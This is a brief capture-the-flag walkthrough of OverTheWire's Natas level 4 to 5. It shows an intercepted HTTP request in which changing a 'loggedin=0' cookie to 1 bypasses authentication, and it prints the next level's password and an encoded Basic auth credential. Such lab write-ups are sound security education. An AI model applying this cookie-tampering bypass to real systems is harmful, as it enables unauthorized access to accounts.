

# Natas Level 4 - Level 5

Upon logging in we are greeted with this message.

```
Access disallowed. You are not logged in
```

Lets inspect the source code.

```
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>
```

Nothing of interest here, lets use Burp Suite to intercept the communication.

Intercepting the communication, we get the following:

```
GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXM10jBuMzVQa2dnQVBtMnpiRXBPVTgwMmMweDBNc24xVG9L
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: loggedin=0
Connection: keep-alive
```

If we focus our attention on this line:

```
Cookie: loggedin=0
```

Perhaps if we change the value to 1 and forward it, it might log us in.

Bingo! It worked.

```
Access granted. The password for natas6 is 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
```